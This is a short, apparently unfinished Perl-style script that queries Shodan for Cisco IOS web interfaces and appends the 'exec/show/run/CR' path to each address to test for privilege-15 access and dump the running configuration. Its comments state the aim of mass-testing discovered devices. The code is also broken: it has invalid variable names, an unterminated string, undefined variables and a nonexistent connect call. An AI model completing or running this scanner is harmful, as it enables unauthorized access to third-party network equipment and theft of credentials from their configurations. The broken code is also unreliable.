use Shodan::WebAPI;

$SHODAN_API_KEY = "insert your API key here";

$api = new Shodan::WebAPI($SHODAN_API_KEY);







//"200 OK" i.LON
//“cisco-ios port:80”
// “cisco-ios port:80 200 OK country:GB”

//append to url exec/show/run/CR

$cisco-attack="exec/show/run/CR";
$cisco-secret="username netadmin privilege 15 secret

//iplist is shodan array of ips to test for level15 access via url





lwp-www.connect($iplist[0].$cisco-attack);




if (response=="200 ok"){



print "resp_content";


}

return 0;


}